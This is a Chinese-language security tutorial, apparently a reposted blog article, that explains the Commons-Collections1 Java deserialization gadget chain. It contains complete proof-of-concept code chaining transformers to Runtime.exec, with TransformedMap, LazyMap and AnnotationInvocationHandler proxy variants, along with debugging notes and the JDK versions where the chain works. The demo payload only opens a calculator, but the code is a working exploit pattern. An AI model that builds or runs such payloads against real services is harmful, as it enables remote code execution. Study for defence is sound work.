Java攻防基础之Commons-Collections1分析

admin 2024年10月16日18:31:58评论13 views字数 13434阅读44分46秒阅读模式

Java攻防基础之Commons-Collections1分析

前言

在CC链的前置基础学习完后,就可以开始学习CC链的具体执行流程。

CC链分析

先来看下poc代码

import org.apache.commons.collections.*;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class test {    public static void main(String[] args) throws Exception {        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码        Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})        };        //将transformers数组存入ChaniedTransformer这个继承类        Transformer transformerChain = new ChainedTransformer(transformers);        //创建Map并绑定transformer        Map innerMap = new HashMap();        innerMap.put("value", "value");        //给予map数据转化链        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);        //触发漏洞        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();        //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式        onlyElement.setValue("test");    }}

下面逐一分析

先看下面这段代码,ConstantTransformerInvokerTransformer都是Transformer接口的实现类,通过new创建了一个 Transformer类型的数组,里面存储的是 Transformer的实现类对象。

//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码        Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})        };

ConstantTransformer分析

先来分析一下ConstantTransformer

Java攻防基础之Commons-Collections1分析

这里是使用了构造方法传入参数,poc中传入的参数为Runtime.class,而在调用到transform时,会返回我们传入的参数,也就是返回这里的iConstant

InvokerTransformer分析

打一个debug跟踪到InvokerTransformer类的构造方法里面

Java攻防基础之Commons-Collections1分析

可以看到传入到构造方法中有三个参数,第一个是方法名,第二个是参数类型,第三个是参数的值。

poc里的三个InvokerTransformer的参数值,如下

getMethod,new Class[]{String.class, Class[].class},new Object[] {"getRuntime", new Class[0] }invoke,new Class[]{Object.class, Object[].class},new Object[]{null, new Object[0]}exec,new Class[]{String.class},new Object[]{"calc.exe"}

InvokerTransformer类中同样存在transform方法,后面再具体分析

Java攻防基础之Commons-Collections1分析

ChainedTransformer分析

poc代码继续往下分析,可以看到如下代码

Transformer transformerChain = new ChainedTransformer(transformers);

transformers数组传入ChainedTransformer构造方法里面。在构造方法中将transformers赋值给本类的成员变量iTransformers

Java攻防基础之Commons-Collections1分析

该类同样存在transform方法

Java攻防基础之Commons-Collections1分析

transform方法的作用会遍历transformers数组,然后逐个去调用它的transform方法。并且还可以看出该方法会将第一次的执行结果传递给第二次执行的参数里面去。知道了ChainedTransformer的作用后,我们需要知道的是ChainedTransformertransform什么时候会被调用。继续往下调试

Java攻防基础之Commons-Collections1分析

进入setValue方法,继续跟进,可以在TransformedMap#checkSetValue方法中发现调用了ChainedTransformertransform方法,这里之前在前置学习中就已经分析过了

Java攻防基础之Commons-Collections1分析

后面自然就循环调用每个Transformertransform方法

Java攻防基础之Commons-Collections1分析

根据顺序,会调用第一个ConstantTransformertransform方法,也就是返回构造函数中设置的iConstant,这里就是Runtime.class

Java攻防基础之Commons-Collections1分析

接着往下,就到了InvokerTransformer,可以看到参数input的值是上个Transformer返回的结果Runtime.class,后面就是利用反射拿到Runtime对象,因为Runtime没有构造方法需要调用getRuntime()方法获取到Runtime对象,所以这里的流程是:

Runtime.getClass().getMethod("getRuntime",null).invoke() -> Method
Java攻防基础之Commons-Collections1分析

继续跟,来到第二个InvokerTransformer,分析如上,因为上面获得了一个Method,那么我们就需要调用它的invoke方法来执行,所以这里getMethod方法里的参数值为invoke,第二个参数即参传入的参数类型Object

Java攻防基础之Commons-Collections1分析

接着往下,来到第三个InvokerTransformer,也就是最后一个Transformer,这里可以看到输入input成功拿到Runtime对象,现在只需要执行Runtime#exe方法即可,同样先通过getMethod方法拿到exec对应的Method,所以这里getMethod的第一个参数,就是exec,第二个参数即exec方法执行的参数类型String,返回method,然后调用invoke执行,参数为calc.exe。

Java攻防基础之Commons-Collections1分析

之后弹出计算器

Java攻防基础之Commons-Collections1分析

整个过程归纳

通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

transform方法调用分析

分析下poc中TransformedMap#decorate方法

Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

调试进入decorate方法,然后跟进来到TransformedMap的构造方法

Java攻防基础之Commons-Collections1分析

构造方法把传入的map和Transformer进行赋值。那么要想知道ChainedTransformer是如何调用transform方法,只需在当前类中搜索valueTransformer,因为ChainedTransformer是赋值给valueTransformer的,然后在transformValue方法中发现了transform方法的调用

Java攻防基础之Commons-Collections1分析

继续查找transformValue方法是在哪被调用的,发现在put方法里会调用transformValue方法,从而导致transformValue调用transform方法去执行命令。

Java攻防基础之Commons-Collections1分析

所以我们在调用TransformedMap#decorate方法绑定transformer之后,再调用put方法也可触发命令执行。

Java攻防基础之Commons-Collections1分析

接着上文,上文我们通过方法调用弹出了计算器,那么在反序列化的漏洞场景下该如何运用呢。

下面为完整的调用链

Gadget chain:        ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()                            ChainedTransformer.transform()                                ConstantTransformer.transform()                                InvokerTransformer.transform()                                    Method.invoke()                                        Class.getMethod()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.getRuntime()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.exec()

LazyMap

在分析调用链之前,先学习一下LazyMap,这个类和TransformedMap类似,都继承AbstractMapDecorator抽象类

Java攻防基础之Commons-Collections1分析

根据之前的分析,可以知道TransformedMap的触发点是put()方法

put()->transformValue()->ChainedTransformer#transform()

LazyMap的触发点是在get()方法

Java攻防基础之Commons-Collections1分析

get()方法的实现是首先判断map的中是否包含传入的key,当key不存在时,就会调用transformerChain的transform()方法。那么,我们根据这个触发点来编写如下poc

 public static void main(String[] args) throws Exception {        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码        Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})        };        //将transformers数组存入ChaniedTransformer这个继承类        Transformer transformerChain = new ChainedTransformer(transformers);        //创建Map并绑定transformerChina        Map innerMap = new HashMap();        innerMap.put("value", "value");        Map tmpmap = LazyMap.decorate(innerMap, transformerChain);        tmpmap.get("1");    }

运行完get()方法弹出计算器

Java攻防基础之Commons-Collections1分析

AnnotationInvocationHandler

AnnotationInvocationHandler类的构造函数有两个参数,第⼀个参数是⼀个Annotation类类型参数,该类是注解类,第二个是map类型参数。

Java攻防基础之Commons-Collections1分析

所有的注解类型都继承自Annotation接口

Java攻防基础之Commons-Collections1分析

查看AnnotationInvocationHandler#readObject方法

Java攻防基础之Commons-Collections1分析

假设这里我们通过反射调用AnnotationInvocationHandler,并传入两个参数,一个是Retention.class,另一个是outerMapRetention是一个注解类。outerMap是我们TransformedMap修饰过的类。

    Class  clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");     Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);     construct.setAccessible(true);     InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
这时候在 AnnotationInvocationHandlerreadObject方法里面 memberValues就是我们使用反射传入的 TransformedMap的对象。代码中遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap⾥的Transform方法,从而导致命令的执行。
 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {       // for (Map.Entry<String, Object> memberValue : streamVals.entrySet()) {             String name = memberValue.getKey();            Object value = null;             Class<?> memberType = memberTypes.get(name);             if (memberType != null) {  // i.e. member still exists                Object value = memberValue.getValue();                value = memberValue.getValue();                 if (!(memberType.isInstance(value) ||                       value instanceof ExceptionProxy)) {                    memberValue.setValue(                        new AnnotationTypeMismatchExceptionProxy(                    value = new AnnotationTypeMismatchExceptionProxy(                             value.getClass() + "[" + value + "]").setMember(                                annotationType.members().get(name)));                                annotationType.members().get(name));                 }             }            mv.put(name, value);        }

POC分析

public static void main(String[] args) {            Transformer[] transformers = new Transformer[] {                    new ConstantTransformer(Runtime.class),                    new InvokerTransformer("getMethod", new Class[] {                            String.class,                            Class[].class }, new Object[] { "getRuntime",                            new Class[0] }),                    new InvokerTransformer("invoke", new Class[] {                            Object.class,                            Object[].class }, new Object[] { null, new                            Object[0] }),                    new InvokerTransformer("exec", new Class[] { String.class                    },                            new String[] {                                    "calc.exe" }),            };            Transformer transformerChain = new                    ChainedTransformer(transformers);            Map innerMap = new HashMap();            innerMap.put("value", "xxxx");            Map outerMap = TransformedMap.decorate(innerMap, null,                    transformerChain);            Class clazz =                    Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");            Constructor construct = clazz.getDeclaredConstructor(Class.class,                    Map.class);            construct.setAccessible(true);            InvocationHandler handler = (InvocationHandler)                    construct.newInstance(Retention.class, outerMap);            ByteArrayOutputStream barr = new ByteArrayOutputStream();            ObjectOutputStream oos = new ObjectOutputStream(barr);            oos.writeObject(handler);            oos.close();            System.out.println(barr);            ObjectInputStream ois = new ObjectInputStream(new                    ByteArrayInputStream(barr.toByteArray()));            Object o = (Object)ois.readObject();    }}

运行弹出计算器

Java攻防基础之Commons-Collections1分析

测试过程发现,jdk1.8.0_321无法达到命令执行的目的,后面换了个jdk1.7.0_21才执行成功

在高版本中的AnnotationInvocationHandlerreadObject是被改动过的,如下为低版本jdk

Java攻防基础之Commons-Collections1分析

cc链的另一种构造方式

接着上篇的分析,上文中讲到LazyMap通过get()方法可以达到利用链触发命令执行

Java攻防基础之Commons-Collections1分析

根据get()方法克制,根据传入的key进行判断,如果map中不包含此key,就会通过factory调用transform()方法,这里的factory是可以通过构造方法进行赋值的,那么这里可以将factory的值赋值为ChainedTransformers,就可以触发后面的调用链完成命令执行。但可以看到LazyMap的构造方法是被protected关键词修饰的,是无法直接进行new创建的,

Java攻防基础之Commons-Collections1分析

查找其他函数时,发现decorate()方法可以完成factory的赋值。这也是为什么在前面的POC里面我们调用该方法并传入innerMaptransformerChain参数。

Java攻防基础之Commons-Collections1分析

这里传入的innerMap为为一个Map集合,transformerChain为一个被ChainedTransformer修饰过的Transformer[]数组

Map tmpmap = LazyMap.decorate(innerMap, transformerChain);

调试分析,首先进入decorate()方法,完成factory的赋值

Java攻防基础之Commons-Collections1分析

下一步进入get()方法,调用transform()方法,后续就是循环调用Transformer#transform方法

Java攻防基础之Commons-Collections1分析

上面是我们测试的POC的调用过程,但在实际利用中,如何让它调用到我们的get()方法呢,在上篇中AnnotationInvocationHandlerinvoke()方法会调用get()方法

Java攻防基础之Commons-Collections1分析

根据构造方法传入第⼀个参数是⼀个Annotation类类型参数,该类是注解类,第二个是map类型参数,这个参数可以传LazyMap类型的对象去调用get()方法,get()方法调用transform(),

Java攻防基础之Commons-Collections1分析

怎么去调用AnnotationInvocationHandlerinvoke

POC分析

public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {        Transformer[] transformers = new Transformer[] {                new ConstantTransformer(Runtime.class),                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})        };        Transformer transformerChain = new ChainedTransformer(transformers);        Map innerMap = new HashMap();        Map outerMap = LazyMap.decorate(innerMap, transformerChain);        Class clazz =                Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");        Constructor construct = clazz.getDeclaredConstructor(Class.class,                Map.class);        construct.setAccessible(true);        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));        oos.writeObject(handler);    }

看下这行代码

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

这里的handler是反射创建的一个 AnnotationInvocationHandler类。而AnnotationInvocationHandler中实现了InvocationHandler接口,可以直接作为调用处理器传入。在poc执行反序列化时,由于AnnotationInvocationHandler重写了readObject()方法,并且readObject()方法会调用memberValues.entrySet().iterator(),这里的memberValues即为被代理类LazyMap,通过构造方法传入并赋值

Java攻防基础之Commons-Collections1分析

在下面代理对象是proxyMap,当调用proxyMapentrySet()会触发到AnnotationInvocationHandlerinvoke()方法进行执行。这也是动态代理的一个特性,代理对象调用任意方法,调用处理器中的invoke()方法都会执行一次。

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

所以接下来就会执行AnnotationInvocationHandlerinvoke()方法,接着调用LazyMap#get()触发后面的利用链

Java攻防基础之Commons-Collections1分析

进入get()方法,如下,后面就和之前的利用过程一致了

Java攻防基础之Commons-Collections1分析

完整的利用链如下

Gadget chain:        ObjectInputStream.readObject()            AnnotationInvocationHandler.readObject()                Map(Proxy).entrySet()                    AnnotationInvocationHandler.invoke()                        LazyMap.get()                            ChainedTransformer.transform()                                ConstantTransformer.transform()                                InvokerTransformer.transform()                                    Method.invoke()                                        Class.getMethod()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.getRuntime()                                InvokerTransformer.transform()                                    Method.invoke()                                        Runtime.exec()

总结

CC1这条链里面是有版本限制的,在高版本中对readObject()方法进行了修改,经过测试jdk < 8u71,可以利用成功

jdk1.7.0_21 【成功】
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {        var1.defaultReadObject();        AnnotationType var2 = null;        try {            var2 = AnnotationType.getInstance(this.type);        } catch (IllegalArgumentException var9) {            return;        }        Map var3 = var2.memberTypes();        Iterator var4 = this.memberValues.entrySet().iterator();        while(var4.hasNext()) {            Entry var5 = (Entry)var4.next();            String var6 = (String)var5.getKey();            Class var7 = (Class)var3.get(var6);            if (var7 != null) {                Object var8 = var5.getValue();                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));                }            }        }    }
    
jdk1.8.0_171 【失败】
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {        GetField var2 = var1.readFields();        Class var3 = (Class)var2.get("type", (Object)null);        Map var4 = (Map)var2.get("memberValues", (Object)null);        AnnotationType var5 = null;        try {            var5 = AnnotationType.getInstance(var3);        } catch (IllegalArgumentException var13) {            throw new InvalidObjectException("Non-annotation type in annotation serial stream");        }        Map var6 = var5.memberTypes();        LinkedHashMap var7 = new LinkedHashMap();        String var10;        Object var11;        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {            Entry var9 = (Entry)var8.next();            var10 = (String)var9.getKey();            var11 = null;            Class var12 = (Class)var6.get(var10);            if (var12 != null) {                var11 = var9.getValue();                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));                }            }        }        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);    }

参考

https://www.cnblogs.com/nice0e3/p/13779857.html

原文始发于微信公众号(全栈红队):Java攻防基础之Commons-Collections1分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月16日18:31:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Java攻防基础之Commons-Collections1分析https://cn-sec.com/archives/1900833.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息